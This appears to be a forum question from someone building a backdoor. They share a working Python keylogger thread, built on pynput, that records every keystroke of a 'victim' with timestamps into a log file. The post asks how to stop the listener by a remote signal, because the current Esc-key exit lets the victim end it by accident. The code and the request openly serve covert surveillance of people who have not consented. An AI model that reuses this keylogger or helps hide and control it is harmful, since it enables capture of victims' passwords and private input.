I started a little backdoor and i use a keylogger in it. I use the pynput library and i wanted to know if it's possible to stop the pynput listener from an outside function or in the main loop.
Here is a code snippet :
class KeyLoggerThread(threading.Thread):
global Quit
def __init__(self):
super().__init__()
def run(self):
logging.basicConfig(filename="keys.log",level=logging.DEBUG, format='%(asctime)s %(message)s')
def on_press(key):
logging.debug(str(key))
if key == Key.esc:
return False
with Listener(on_press = on_press) as listener:
listener.join()
Right now, i have to use the esc key with is not very practical due to the fact that this keylogger is used in my backdoor so when the victim press esc it quit the keylogger. What i really want is to send a signal whenever i want to stop it (not from a key). Thanks in advance, have a nice day !